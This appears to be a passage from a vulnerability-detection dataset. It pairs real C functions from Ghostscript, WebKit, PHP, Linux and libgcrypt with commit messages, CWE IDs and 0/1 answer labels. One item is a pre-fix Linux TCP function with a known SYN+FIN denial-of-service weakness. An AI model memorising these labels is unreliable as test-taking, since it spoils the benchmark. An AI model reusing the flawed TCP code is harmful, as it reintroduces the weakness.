smask_copy(tos->rect.q.y - tos->rect.p.y,
tos->rect.q.x - tos->rect.p.x,
tos->rowstride,
(tos->data)+tos->planestride, new_data_buf);
#if RAW_DUMP
/* Dump the current buffer to see what we have. */
dump_raw_buffer(tos->rect.q.y-tos->rect.p.y,
tos->rowstride, tos->n_planes,
tos->planestride, tos->rowstride,
"SMask_Pop_Alpha(Mask_Plane1)",tos->data);
global_index++;
#endif
} else {
if ( icc_match == 1 || tos->n_chan == 2) {
#if RAW_DUMP
/* Dump the current buffer to see what we have. */
dump_raw_buffer(tos->rect.q.y-tos->rect.p.y,
tos->rowstride, tos->n_planes,
tos->planestride, tos->rowstride,
"SMask_Pop_Lum(Mask_Plane0)",tos->data);
global_index++;
#endif
/* There is no need to color convert. Data is already gray scale.
We just need to copy the gray plane. However it is
possible that the soft mask could have a soft mask which
would end us up with some alpha blending information
(Bug691803). In fact, according to the spec, the alpha
blending has to occur. See FTS test fts_26_2601.pdf
for an example of this. Softmask buffer is intialized
with BG values. It would be nice to keep track if buffer
ever has a alpha value not 1 so that we could detect and
avoid this blend if not needed. */
smask_blend(tos->data, tos->rect.q.x - tos->rect.p.x,
tos->rect.q.y - tos->rect.p.y, tos->rowstride,
tos->planestride);
#if RAW_DUMP
/* Dump the current buffer to see what we have. */
dump_raw_buffer(tos->rect.q.y-tos->rect.p.y,
tos->rowstride, tos->n_planes,
tos->planestride, tos->rowstride,
"SMask_Pop_Lum_Post_Blend",tos->data);
global_index++;
#endif
smask_copy(tos->rect.q.y - tos->rect.p.y,
tos->rect.q.x - tos->rect.p.x,
tos->rowstride, tos->data, new_data_buf);
} else {
if ( icc_match == -1 ) {
/* The slow old fashioned way */
smask_luminosity_mapping(tos->rect.q.y - tos->rect.p.y ,
tos->rect.q.x - tos->rect.p.x,tos->n_chan,
tos->rowstride, tos->planestride,
tos->data, new_data_buf, ctx->additive, tos->SMask_SubType);
} else {
/* ICC case where we use the CMM */
/* Request the ICC link for the transform that we will need to use */
rendering_params.black_point_comp = gsBLACKPTCOMP_OFF;
rendering_params.graphics_type_tag = GS_IMAGE_TAG;
rendering_params.override_icc = false;
rendering_params.preserve_black = gsBKPRESNOTSPECIFIED;
rendering_params.rendering_intent = gsPERCEPTUAL;
rendering_params.cmm = gsCMM_DEFAULT;
icc_link = gsicc_get_link_profile(pgs, dev, des_profile,
src_profile, &rendering_params, pgs->memory, false);
smask_icc(dev, tos->rect.q.y - tos->rect.p.y,
tos->rect.q.x - tos->rect.p.x,tos->n_chan,
tos->rowstride, tos->planestride,
tos->data, new_data_buf, icc_link);
/* Release the link */
gsicc_release_link(icc_link);
}
}
}
/* Free the old object, NULL test was above */
gs_free_object(ctx->memory, tos->data, "pdf14_pop_transparency_mask");
tos->data = new_data_buf;
/* Data is single channel now */
tos->n_chan = 1;
tos->n_planes = 1;
/* Assign as reference counted mask buffer */
if (ctx->mask_stack != NULL) {
/* In this case, the source file is wacky as it already had a
softmask and now is getting a replacement. We need to clean
up the softmask stack before doing this free and creating
a new stack. Bug 693312 */
pdf14_free_mask_stack(ctx, ctx->memory);
}
ctx->mask_stack = pdf14_mask_element_new(ctx->memory);
if (ctx->mask_stack == NULL)
return gs_note_error(gs_error_VMerror);
ctx->mask_stack->rc_mask = pdf14_rcmask_new(ctx->memory);
if (ctx->mask_stack->rc_mask == NULL)
return gs_note_error(gs_error_VMerror);
ctx->mask_stack->rc_mask->mask_buf = tos;
}
return 0;
}
Commit Message:
CWE ID: CWE-416
| 0
| 2,966
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: JSValue JSTestActiveDOMObject::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
{
return getDOMConstructor<JSTestActiveDOMObjectConstructor>(exec, jsCast<JSDOMGlobalObject*>(globalObject));
}
Commit Message: [JSC] Implement a helper method createNotEnoughArgumentsError()
https://bugs.webkit.org/show_bug.cgi?id=85102
Reviewed by Geoffrey Garen.
In bug 84787, kbr@ requested to avoid hard-coding
createTypeError(exec, "Not enough arguments") here and there.
This patch implements createNotEnoughArgumentsError(exec)
and uses it in JSC bindings.
c.f. a corresponding bug for V8 bindings is bug 85097.
Source/JavaScriptCore:
* runtime/Error.cpp:
(JSC::createNotEnoughArgumentsError):
(JSC):
* runtime/Error.h:
(JSC):
Source/WebCore:
Test: bindings/scripts/test/TestObj.idl
* bindings/scripts/CodeGeneratorJS.pm: Modified as described above.
(GenerateArgumentsCountCheck):
* bindings/js/JSDataViewCustom.cpp: Ditto.
(WebCore::getDataViewMember):
(WebCore::setDataViewMember):
* bindings/js/JSDeprecatedPeerConnectionCustom.cpp:
(WebCore::JSDeprecatedPeerConnectionConstructor::constructJSDeprecatedPeerConnection):
* bindings/js/JSDirectoryEntryCustom.cpp:
(WebCore::JSDirectoryEntry::getFile):
(WebCore::JSDirectoryEntry::getDirectory):
* bindings/js/JSSharedWorkerCustom.cpp:
(WebCore::JSSharedWorkerConstructor::constructJSSharedWorker):
* bindings/js/JSWebKitMutationObserverCustom.cpp:
(WebCore::JSWebKitMutationObserverConstructor::constructJSWebKitMutationObserver):
(WebCore::JSWebKitMutationObserver::observe):
* bindings/js/JSWorkerCustom.cpp:
(WebCore::JSWorkerConstructor::constructJSWorker):
* bindings/scripts/test/JS/JSFloat64Array.cpp: Updated run-bindings-tests.
(WebCore::jsFloat64ArrayPrototypeFunctionFoo):
* bindings/scripts/test/JS/JSTestActiveDOMObject.cpp:
(WebCore::jsTestActiveDOMObjectPrototypeFunctionExcitingFunction):
(WebCore::jsTestActiveDOMObjectPrototypeFunctionPostMessage):
* bindings/scripts/test/JS/JSTestCustomNamedGetter.cpp:
(WebCore::jsTestCustomNamedGetterPrototypeFunctionAnotherFunction):
* bindings/scripts/test/JS/JSTestEventTarget.cpp:
(WebCore::jsTestEventTargetPrototypeFunctionItem):
(WebCore::jsTestEventTargetPrototypeFunctionAddEventListener):
(WebCore::jsTestEventTargetPrototypeFunctionRemoveEventListener):
(WebCore::jsTestEventTargetPrototypeFunctionDispatchEvent):
* bindings/scripts/test/JS/JSTestInterface.cpp:
(WebCore::JSTestInterfaceConstructor::constructJSTestInterface):
(WebCore::jsTestInterfacePrototypeFunctionSupplementalMethod2):
* bindings/scripts/test/JS/JSTestMediaQueryListListener.cpp:
(WebCore::jsTestMediaQueryListListenerPrototypeFunctionMethod):
* bindings/scripts/test/JS/JSTestNamedConstructor.cpp:
(WebCore::JSTestNamedConstructorNamedConstructor::constructJSTestNamedConstructor):
* bindings/scripts/test/JS/JSTestObj.cpp:
(WebCore::JSTestObjConstructor::constructJSTestObj):
(WebCore::jsTestObjPrototypeFunctionVoidMethodWithArgs):
(WebCore::jsTestObjPrototypeFunctionIntMethodWithArgs):
(WebCore::jsTestObjPrototypeFunctionObjMethodWithArgs):
(WebCore::jsTestObjPrototypeFunctionMethodWithSequenceArg):
(WebCore::jsTestObjPrototypeFunctionMethodReturningSequence):
(WebCore::jsTestObjPrototypeFunctionMethodThatRequiresAllArgsAndThrows):
(WebCore::jsTestObjPrototypeFunctionSerializedValue):
(WebCore::jsTestObjPrototypeFunctionIdbKey):
(WebCore::jsTestObjPrototypeFunctionOptionsObject):
(WebCore::jsTestObjPrototypeFunctionAddEventListener):
(WebCore::jsTestObjPrototypeFunctionRemoveEventListener):
(WebCore::jsTestObjPrototypeFunctionMethodWithNonOptionalArgAndOptionalArg):
(WebCore::jsTestObjPrototypeFunctionMethodWithNonOptionalArgAndTwoOptionalArgs):
(WebCore::jsTestObjPrototypeFunctionMethodWithCallbackArg):
(WebCore::jsTestObjPrototypeFunctionMethodWithNonCallbackArgAndCallbackArg):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod1):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod2):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod3):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod4):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod5):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod6):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod7):
(WebCore::jsTestObjConstructorFunctionClassMethod2):
(WebCore::jsTestObjConstructorFunctionOverloadedMethod11):
(WebCore::jsTestObjConstructorFunctionOverloadedMethod12):
(WebCore::jsTestObjPrototypeFunctionMethodWithUnsignedLongArray):
(WebCore::jsTestObjPrototypeFunctionConvert1):
(WebCore::jsTestObjPrototypeFunctionConvert2):
(WebCore::jsTestObjPrototypeFunctionConvert3):
(WebCore::jsTestObjPrototypeFunctionConvert4):
(WebCore::jsTestObjPrototypeFunctionConvert5):
(WebCore::jsTestObjPrototypeFunctionStrictFunction):
* bindings/scripts/test/JS/JSTestSerializedScriptValueInterface.cpp:
(WebCore::JSTestSerializedScriptValueInterfaceConstructor::constructJSTestSerializedScriptValueInterface):
(WebCore::jsTestSerializedScriptValueInterfacePrototypeFunctionAcceptTransferList):
git-svn-id: svn://svn.chromium.org/blink/trunk@115536 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-20
| 0
| 101,059
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void php_snmp(INTERNAL_FUNCTION_PARAMETERS, int st, int version)
{
zval *oid, *value, *type;
char *a1, *a2, *a3, *a4, *a5, *a6, *a7;
size_t a1_len, a2_len, a3_len, a4_len, a5_len, a6_len, a7_len;
zend_bool use_orignames = 0, suffix_keys = 0;
zend_long timeout = SNMP_DEFAULT_TIMEOUT;
zend_long retries = SNMP_DEFAULT_RETRIES;
int argc = ZEND_NUM_ARGS();
struct objid_query objid_query;
php_snmp_session *session;
int session_less_mode = (getThis() == NULL);
php_snmp_object *snmp_object;
php_snmp_object glob_snmp_object;
objid_query.max_repetitions = -1;
objid_query.non_repeaters = 0;
objid_query.valueretrieval = SNMP_G(valueretrieval);
objid_query.oid_increasing_check = TRUE;
if (session_less_mode) {
if (version == SNMP_VERSION_3) {
if (st & SNMP_CMD_SET) {
if (zend_parse_parameters(argc, "ssssssszzz|ll", &a1, &a1_len, &a2, &a2_len, &a3, &a3_len,
&a4, &a4_len, &a5, &a5_len, &a6, &a6_len, &a7, &a7_len, &oid, &type, &value, &timeout, &retries) == FAILURE) {
RETURN_FALSE;
}
} else {
/* SNMP_CMD_GET
* SNMP_CMD_GETNEXT
* SNMP_CMD_WALK
*/
if (zend_parse_parameters(argc, "sssssssz|ll", &a1, &a1_len, &a2, &a2_len, &a3, &a3_len,
&a4, &a4_len, &a5, &a5_len, &a6, &a6_len, &a7, &a7_len, &oid, &timeout, &retries) == FAILURE) {
RETURN_FALSE;
}
}
} else {
if (st & SNMP_CMD_SET) {
if (zend_parse_parameters(argc, "sszzz|ll", &a1, &a1_len, &a2, &a2_len, &oid, &type, &value, &timeout, &retries) == FAILURE) {
RETURN_FALSE;
}
} else {
/* SNMP_CMD_GET
* SNMP_CMD_GETNEXT
* SNMP_CMD_WALK
*/
if (zend_parse_parameters(argc, "ssz|ll", &a1, &a1_len, &a2, &a2_len, &oid, &timeout, &retries) == FAILURE) {
RETURN_FALSE;
}
}
}
} else {
if (st & SNMP_CMD_SET) {
if (zend_parse_parameters(argc, "zzz", &oid, &type, &value) == FAILURE) {
RETURN_FALSE;
}
} else if (st & SNMP_CMD_WALK) {
if (zend_parse_parameters(argc, "z|bll", &oid, &suffix_keys, &(objid_query.max_repetitions), &(objid_query.non_repeaters)) == FAILURE) {
RETURN_FALSE;
}
if (suffix_keys) {
st |= SNMP_USE_SUFFIX_AS_KEYS;
}
} else if (st & SNMP_CMD_GET) {
if (zend_parse_parameters(argc, "z|b", &oid, &use_orignames) == FAILURE) {
RETURN_FALSE;
}
if (use_orignames) {
st |= SNMP_ORIGINAL_NAMES_AS_KEYS;
}
} else {
/* SNMP_CMD_GETNEXT
*/
if (zend_parse_parameters(argc, "z", &oid) == FAILURE) {
RETURN_FALSE;
}
}
}
if (!php_snmp_parse_oid(getThis(), st, &objid_query, oid, type, value)) {
RETURN_FALSE;
}
if (session_less_mode) {
if (netsnmp_session_init(&session, version, a1, a2, timeout, retries)) {
efree(objid_query.vars);
netsnmp_session_free(&session);
RETURN_FALSE;
}
if (version == SNMP_VERSION_3 && netsnmp_session_set_security(session, a3, a4, a5, a6, a7, NULL, NULL)) {
efree(objid_query.vars);
netsnmp_session_free(&session);
/* Warning message sent already, just bail out */
RETURN_FALSE;
}
} else {
zval *object = getThis();
snmp_object = Z_SNMP_P(object);
session = snmp_object->session;
if (!session) {
php_error_docref(NULL, E_WARNING, "Invalid or uninitialized SNMP object");
efree(objid_query.vars);
RETURN_FALSE;
}
if (snmp_object->max_oids > 0) {
objid_query.step = snmp_object->max_oids;
if (objid_query.max_repetitions < 0) { /* unspecified in function call, use session-wise */
objid_query.max_repetitions = snmp_object->max_oids;
}
}
objid_query.oid_increasing_check = snmp_object->oid_increasing_check;
objid_query.valueretrieval = snmp_object->valueretrieval;
glob_snmp_object.enum_print = netsnmp_ds_get_boolean(NETSNMP_DS_LIBRARY_ID, NETSNMP_DS_LIB_PRINT_NUMERIC_ENUM);
netsnmp_ds_set_boolean(NETSNMP_DS_LIBRARY_ID, NETSNMP_DS_LIB_PRINT_NUMERIC_ENUM, snmp_object->enum_print);
glob_snmp_object.quick_print = netsnmp_ds_get_boolean(NETSNMP_DS_LIBRARY_ID, NETSNMP_DS_LIB_QUICK_PRINT);
netsnmp_ds_set_boolean(NETSNMP_DS_LIBRARY_ID, NETSNMP_DS_LIB_QUICK_PRINT, snmp_object->quick_print);
glob_snmp_object.oid_output_format = netsnmp_ds_get_int(NETSNMP_DS_LIBRARY_ID, NETSNMP_DS_LIB_OID_OUTPUT_FORMAT);
netsnmp_ds_set_int(NETSNMP_DS_LIBRARY_ID, NETSNMP_DS_LIB_OID_OUTPUT_FORMAT, snmp_object->oid_output_format);
}
if (objid_query.max_repetitions < 0) {
objid_query.max_repetitions = 20; /* provide correct default value */
}
php_snmp_internal(INTERNAL_FUNCTION_PARAM_PASSTHRU, st, session, &objid_query);
efree(objid_query.vars);
if (session_less_mode) {
netsnmp_session_free(&session);
} else {
netsnmp_ds_set_boolean(NETSNMP_DS_LIBRARY_ID, NETSNMP_DS_LIB_PRINT_NUMERIC_ENUM, glob_snmp_object.enum_print);
netsnmp_ds_set_boolean(NETSNMP_DS_LIBRARY_ID, NETSNMP_DS_LIB_QUICK_PRINT, glob_snmp_object.quick_print);
netsnmp_ds_set_int(NETSNMP_DS_LIBRARY_ID, NETSNMP_DS_LIB_OID_OUTPUT_FORMAT, glob_snmp_object.oid_output_format);
}
}
Commit Message:
CWE ID: CWE-20
| 0
| 11,229
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int udp_lib_lport_inuse(struct net *net, __u16 num,
const struct udp_hslot *hslot,
unsigned long *bitmap,
struct sock *sk,
int (*saddr_comp)(const struct sock *sk1,
const struct sock *sk2),
unsigned int log)
{
struct sock *sk2;
struct hlist_nulls_node *node;
kuid_t uid = sock_i_uid(sk);
sk_nulls_for_each(sk2, node, &hslot->head) {
if (net_eq(sock_net(sk2), net) &&
sk2 != sk &&
(bitmap || udp_sk(sk2)->udp_port_hash == num) &&
(!sk2->sk_reuse || !sk->sk_reuse) &&
(!sk2->sk_bound_dev_if || !sk->sk_bound_dev_if ||
sk2->sk_bound_dev_if == sk->sk_bound_dev_if) &&
(!sk2->sk_reuseport || !sk->sk_reuseport ||
!uid_eq(uid, sock_i_uid(sk2))) &&
saddr_comp(sk, sk2)) {
if (!bitmap)
return 1;
__set_bit(udp_sk(sk2)->udp_port_hash >> log, bitmap);
}
}
return 0;
}
Commit Message: udp: fix behavior of wrong checksums
We have two problems in UDP stack related to bogus checksums :
1) We return -EAGAIN to application even if receive queue is not empty.
This breaks applications using edge trigger epoll()
2) Under UDP flood, we can loop forever without yielding to other
processes, potentially hanging the host, especially on non SMP.
This patch is an attempt to make things better.
We might in the future add extra support for rt applications
wanting to better control time spent doing a recv() in a hostile
environment. For example we could validate checksums before queuing
packets in socket receive queue.
Signed-off-by: Eric Dumazet <edumazet@google.com>
Cc: Willem de Bruijn <willemb@google.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-399
| 0
| 42,601
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: xscale2pmu_read_counter(int counter)
{
u32 val = 0;
switch (counter) {
case XSCALE_CYCLE_COUNTER:
asm volatile("mrc p14, 0, %0, c1, c1, 0" : "=r" (val));
break;
case XSCALE_COUNTER0:
asm volatile("mrc p14, 0, %0, c0, c2, 0" : "=r" (val));
break;
case XSCALE_COUNTER1:
asm volatile("mrc p14, 0, %0, c1, c2, 0" : "=r" (val));
break;
case XSCALE_COUNTER2:
asm volatile("mrc p14, 0, %0, c2, c2, 0" : "=r" (val));
break;
case XSCALE_COUNTER3:
asm volatile("mrc p14, 0, %0, c3, c2, 0" : "=r" (val));
break;
}
return val;
}
Commit Message: perf: Remove the nmi parameter from the swevent and overflow interface
The nmi parameter indicated if we could do wakeups from the current
context, if not, we would set some state and self-IPI and let the
resulting interrupt do the wakeup.
For the various event classes:
- hardware: nmi=0; PMI is in fact an NMI or we run irq_work_run from
the PMI-tail (ARM etc.)
- tracepoint: nmi=0; since tracepoint could be from NMI context.
- software: nmi=[0,1]; some, like the schedule thing cannot
perform wakeups, and hence need 0.
As one can see, there is very little nmi=1 usage, and the down-side of
not using it is that on some platforms some software events can have a
jiffy delay in wakeup (when arch_irq_work_raise isn't implemented).
The up-side however is that we can remove the nmi parameter and save a
bunch of conditionals in fast paths.
Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl>
Cc: Michael Cree <mcree@orcon.net.nz>
Cc: Will Deacon <will.deacon@arm.com>
Cc: Deng-Cheng Zhu <dengcheng.zhu@gmail.com>
Cc: Anton Blanchard <anton@samba.org>
Cc: Eric B Munson <emunson@mgebm.net>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: Paul Mundt <lethal@linux-sh.org>
Cc: David S. Miller <davem@davemloft.net>
Cc: Frederic Weisbecker <fweisbec@gmail.com>
Cc: Jason Wessel <jason.wessel@windriver.com>
Cc: Don Zickus <dzickus@redhat.com>
Link: http://lkml.kernel.org/n/tip-agjev8eu666tvknpb3iaj0fg@git.kernel.org
Signed-off-by: Ingo Molnar <mingo@elte.hu>
CWE ID: CWE-399
| 0
| 25,298
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: ec_subm (gcry_mpi_t w, gcry_mpi_t u, gcry_mpi_t v, mpi_ec_t ec)
{
mpi_sub (w, u, v);
while (w->sign)
mpi_add (w, w, ec->p);
/*ec_mod (w, ec);*/
}
Commit Message:
CWE ID: CWE-200
| 0
| 13,070
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int tcp_rcv_state_process(struct sock *sk, struct sk_buff *skb,
const struct tcphdr *th, unsigned int len)
{
struct tcp_sock *tp = tcp_sk(sk);
struct inet_connection_sock *icsk = inet_csk(sk);
int queued = 0;
int res;
tp->rx_opt.saw_tstamp = 0;
switch (sk->sk_state) {
case TCP_CLOSE:
goto discard;
case TCP_LISTEN:
if (th->ack)
return 1;
if (th->rst)
goto discard;
if (th->syn) {
if (icsk->icsk_af_ops->conn_request(sk, skb) < 0)
return 1;
/* Now we have several options: In theory there is
* nothing else in the frame. KA9Q has an option to
* send data with the syn, BSD accepts data with the
* syn up to the [to be] advertised window and
* Solaris 2.1 gives you a protocol error. For now
* we just ignore it, that fits the spec precisely
* and avoids incompatibilities. It would be nice in
* future to drop through and process the data.
*
* Now that TTCP is starting to be used we ought to
* queue this data.
* But, this leaves one open to an easy denial of
* service attack, and SYN cookies can't defend
* against this problem. So, we drop the data
* in the interest of security over speed unless
* it's still in use.
*/
kfree_skb(skb);
return 0;
}
goto discard;
case TCP_SYN_SENT:
queued = tcp_rcv_synsent_state_process(sk, skb, th, len);
if (queued >= 0)
return queued;
/* Do step6 onward by hand. */
tcp_urg(sk, skb, th);
__kfree_skb(skb);
tcp_data_snd_check(sk);
return 0;
}
res = tcp_validate_incoming(sk, skb, th, 0);
if (res <= 0)
return -res;
/* step 5: check the ACK field */
if (th->ack) {
int acceptable = tcp_ack(sk, skb, FLAG_SLOWPATH) > 0;
switch (sk->sk_state) {
case TCP_SYN_RECV:
if (acceptable) {
tp->copied_seq = tp->rcv_nxt;
smp_mb();
tcp_set_state(sk, TCP_ESTABLISHED);
sk->sk_state_change(sk);
/* Note, that this wakeup is only for marginal
* crossed SYN case. Passively open sockets
* are not waked up, because sk->sk_sleep ==
* NULL and sk->sk_socket == NULL.
*/
if (sk->sk_socket)
sk_wake_async(sk,
SOCK_WAKE_IO, POLL_OUT);
tp->snd_una = TCP_SKB_CB(skb)->ack_seq;
tp->snd_wnd = ntohs(th->window) <<
tp->rx_opt.snd_wscale;
tcp_init_wl(tp, TCP_SKB_CB(skb)->seq);
if (tp->rx_opt.tstamp_ok)
tp->advmss -= TCPOLEN_TSTAMP_ALIGNED;
/* Make sure socket is routed, for
* correct metrics.
*/
icsk->icsk_af_ops->rebuild_header(sk);
tcp_init_metrics(sk);
tcp_init_congestion_control(sk);
/* Prevent spurious tcp_cwnd_restart() on
* first data packet.
*/
tp->lsndtime = tcp_time_stamp;
tcp_mtup_init(sk);
tcp_initialize_rcv_mss(sk);
tcp_init_buffer_space(sk);
tcp_fast_path_on(tp);
} else {
return 1;
}
break;
case TCP_FIN_WAIT1:
if (tp->snd_una == tp->write_seq) {
tcp_set_state(sk, TCP_FIN_WAIT2);
sk->sk_shutdown |= SEND_SHUTDOWN;
dst_confirm(__sk_dst_get(sk));
if (!sock_flag(sk, SOCK_DEAD))
/* Wake up lingering close() */
sk->sk_state_change(sk);
else {
int tmo;
if (tp->linger2 < 0 ||
(TCP_SKB_CB(skb)->end_seq != TCP_SKB_CB(skb)->seq &&
after(TCP_SKB_CB(skb)->end_seq - th->fin, tp->rcv_nxt))) {
tcp_done(sk);
NET_INC_STATS_BH(sock_net(sk), LINUX_MIB_TCPABORTONDATA);
return 1;
}
tmo = tcp_fin_time(sk);
if (tmo > TCP_TIMEWAIT_LEN) {
inet_csk_reset_keepalive_timer(sk, tmo - TCP_TIMEWAIT_LEN);
} else if (th->fin || sock_owned_by_user(sk)) {
/* Bad case. We could lose such FIN otherwise.
* It is not a big problem, but it looks confusing
* and not so rare event. We still can lose it now,
* if it spins in bh_lock_sock(), but it is really
* marginal case.
*/
inet_csk_reset_keepalive_timer(sk, tmo);
} else {
tcp_time_wait(sk, TCP_FIN_WAIT2, tmo);
goto discard;
}
}
}
break;
case TCP_CLOSING:
if (tp->snd_una == tp->write_seq) {
tcp_time_wait(sk, TCP_TIME_WAIT, 0);
goto discard;
}
break;
case TCP_LAST_ACK:
if (tp->snd_una == tp->write_seq) {
tcp_update_metrics(sk);
tcp_done(sk);
goto discard;
}
break;
}
} else
goto discard;
/* step 6: check the URG bit */
tcp_urg(sk, skb, th);
/* step 7: process the segment text */
switch (sk->sk_state) {
case TCP_CLOSE_WAIT:
case TCP_CLOSING:
case TCP_LAST_ACK:
if (!before(TCP_SKB_CB(skb)->seq, tp->rcv_nxt))
break;
case TCP_FIN_WAIT1:
case TCP_FIN_WAIT2:
/* RFC 793 says to queue data in these states,
* RFC 1122 says we MUST send a reset.
* BSD 4.4 also does reset.
*/
if (sk->sk_shutdown & RCV_SHUTDOWN) {
if (TCP_SKB_CB(skb)->end_seq != TCP_SKB_CB(skb)->seq &&
after(TCP_SKB_CB(skb)->end_seq - th->fin, tp->rcv_nxt)) {
NET_INC_STATS_BH(sock_net(sk), LINUX_MIB_TCPABORTONDATA);
tcp_reset(sk);
return 1;
}
}
/* Fall through */
case TCP_ESTABLISHED:
tcp_data_queue(sk, skb);
queued = 1;
break;
}
/* tcp_data could move socket to TIME-WAIT */
if (sk->sk_state != TCP_CLOSE) {
tcp_data_snd_check(sk);
tcp_ack_snd_check(sk);
}
if (!queued) {
discard:
__kfree_skb(skb);
}
return 0;
}
Commit Message: tcp: drop SYN+FIN messages
Denys Fedoryshchenko reported that SYN+FIN attacks were bringing his
linux machines to their limits.
Dont call conn_request() if the TCP flags includes SYN flag
Reported-by: Denys Fedoryshchenko <denys@visp.net.lb>
Signed-off-by: Eric Dumazet <eric.dumazet@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-399
| 1
| 166,549
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void DevToolsWindow::ContentsZoomChange(bool zoom_in) {
DCHECK(is_docked_);
zoom::PageZoom::Zoom(main_web_contents_, zoom_in ? content::PAGE_ZOOM_IN
: content::PAGE_ZOOM_OUT);
}
Commit Message: DevTools: move front-end URL handling to DevToolsUIBindingds
BUG=662859
Review-Url: https://codereview.chromium.org/2607833002
Cr-Commit-Position: refs/heads/master@{#440926}
CWE ID: CWE-200
| 0
| 138,379
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: gs_call_interp(i_ctx_t **pi_ctx_p, ref * pref, int user_errors,
int *pexit_code, ref * perror_object)
{
ref *epref = pref;
ref doref;
ref *perrordict;
ref error_name;
int code, ccode;
ref saref;
i_ctx_t *i_ctx_p = *pi_ctx_p;
int *gc_signal = &imemory_system->gs_lib_ctx->gcsignal;
*pexit_code = 0;
*gc_signal = 0;
ialloc_reset_requested(idmemory);
again:
/* Avoid a dangling error object that might get traced by a future GC. */
make_null(perror_object);
o_stack.requested = e_stack.requested = d_stack.requested = 0;
while (*gc_signal) { /* Some routine below triggered a GC. */
gs_gc_root_t epref_root;
*gc_signal = 0;
/* Make sure that doref will get relocated properly if */
/* a garbage collection happens with epref == &doref. */
gs_register_ref_root(imemory_system, &epref_root,
(void **)&epref, "gs_call_interp(epref)");
code = interp_reclaim(pi_ctx_p, -1);
i_ctx_p = *pi_ctx_p;
gs_unregister_root(imemory_system, &epref_root,
"gs_call_interp(epref)");
if (code < 0)
return code;
}
code = interp(pi_ctx_p, epref, perror_object);
i_ctx_p = *pi_ctx_p;
if (!r_has_type(&i_ctx_p->error_object, t__invalid)) {
*perror_object = i_ctx_p->error_object;
make_t(&i_ctx_p->error_object, t__invalid);
}
/* Prevent a dangling reference to the GC signal in ticks_left */
/* in the frame of interp, but be prepared to do a GC if */
/* an allocation in this routine asks for it. */
*gc_signal = 0;
set_gc_signal(i_ctx_p, 1);
if (esp < esbot) /* popped guard entry */
esp = esbot;
switch (code) {
case gs_error_Fatal:
*pexit_code = 255;
return code;
case gs_error_Quit:
*perror_object = osp[-1];
*pexit_code = code = osp->value.intval;
osp -= 2;
return
(code == 0 ? gs_error_Quit :
code < 0 && code > -100 ? code : gs_error_Fatal);
case gs_error_InterpreterExit:
return 0;
case gs_error_ExecStackUnderflow:
/****** WRONG -- must keep mark blocks intact ******/
ref_stack_pop_block(&e_stack);
doref = *perror_object;
epref = &doref;
goto again;
case gs_error_VMreclaim:
/* Do the GC and continue. */
/* We ignore the return value here, if it fails here
* we'll call it again having jumped to the "again" label.
* Where, assuming it fails again, we'll handle the error.
*/
(void)interp_reclaim(pi_ctx_p,
(osp->value.intval == 2 ?
avm_global : avm_local));
i_ctx_p = *pi_ctx_p;
make_oper(&doref, 0, zpop);
epref = &doref;
goto again;
case gs_error_NeedInput:
case gs_error_interrupt:
return code;
}
/* Adjust osp in case of operand stack underflow */
if (osp < osbot - 1)
osp = osbot - 1;
/* We have to handle stack over/underflow specially, because */
/* we might be able to recover by adding or removing a block. */
switch (code) {
case gs_error_dictstackoverflow:
/* We don't have to handle this specially: */
/* The only places that could generate it */
/* use check_dstack, which does a ref_stack_extend, */
/* so if` we get this error, it's a real one. */
if (osp >= ostop) {
if ((ccode = ref_stack_extend(&o_stack, 1)) < 0)
return ccode;
}
/* Skip system dictionaries for CET 20-02-02 */
ccode = copy_stack(i_ctx_p, &d_stack, min_dstack_size, &saref);
if (ccode < 0)
return ccode;
ref_stack_pop_to(&d_stack, min_dstack_size);
dict_set_top();
*++osp = saref;
break;
case gs_error_dictstackunderflow:
if (ref_stack_pop_block(&d_stack) >= 0) {
dict_set_top();
doref = *perror_object;
epref = &doref;
goto again;
}
break;
case gs_error_execstackoverflow:
/* We don't have to handle this specially: */
/* The only places that could generate it */
/* use check_estack, which does a ref_stack_extend, */
/* so if we get this error, it's a real one. */
if (osp >= ostop) {
if ((ccode = ref_stack_extend(&o_stack, 1)) < 0)
return ccode;
}
ccode = copy_stack(i_ctx_p, &e_stack, 0, &saref);
if (ccode < 0)
return ccode;
{
uint count = ref_stack_count(&e_stack);
uint limit = ref_stack_max_count(&e_stack) - ES_HEADROOM;
if (count > limit) {
/*
* If there is an e-stack mark within MIN_BLOCK_ESTACK of
* the new top, cut the stack back to remove the mark.
*/
int skip = count - limit;
int i;
for (i = skip; i < skip + MIN_BLOCK_ESTACK; ++i) {
const ref *ep = ref_stack_index(&e_stack, i);
if (r_has_type_attrs(ep, t_null, a_executable)) {
skip = i + 1;
break;
}
}
pop_estack(i_ctx_p, skip);
}
}
*++osp = saref;
break;
case gs_error_stackoverflow:
if (ref_stack_extend(&o_stack, o_stack.requested) >= 0) { /* We can't just re-execute the object, because */
/* it might be a procedure being pushed as a */
/* literal. We check for this case specially. */
doref = *perror_object;
if (r_is_proc(&doref)) {
*++osp = doref;
